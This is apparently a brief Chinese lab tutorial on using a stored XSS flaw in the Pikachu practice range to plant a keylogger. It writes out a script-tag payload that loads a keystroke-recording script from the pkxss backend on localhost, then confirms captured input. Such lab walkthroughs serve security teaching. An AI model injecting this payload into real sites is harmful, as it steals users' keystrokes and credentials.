XSS漏洞利用---键盘记录

存储型XSS漏洞之钓鱼

实验准备：

1. 皮卡丘靶场；
2. 存在存储型xss漏洞的网页；
3. pkxss键盘记录后台；

实验步骤：

1. 嵌入恶意的js标签<script src="http://localhost/pikaqiu.cn/pkxss/rkeypress/rk.js"></script>
   2. 在输入框中输入字符串：111111并查看后台，发现已经记录。
   
   Tips: 如果无法记录数据，需关闭浏览器的同源策略Access-Contrl-Allow-Origin.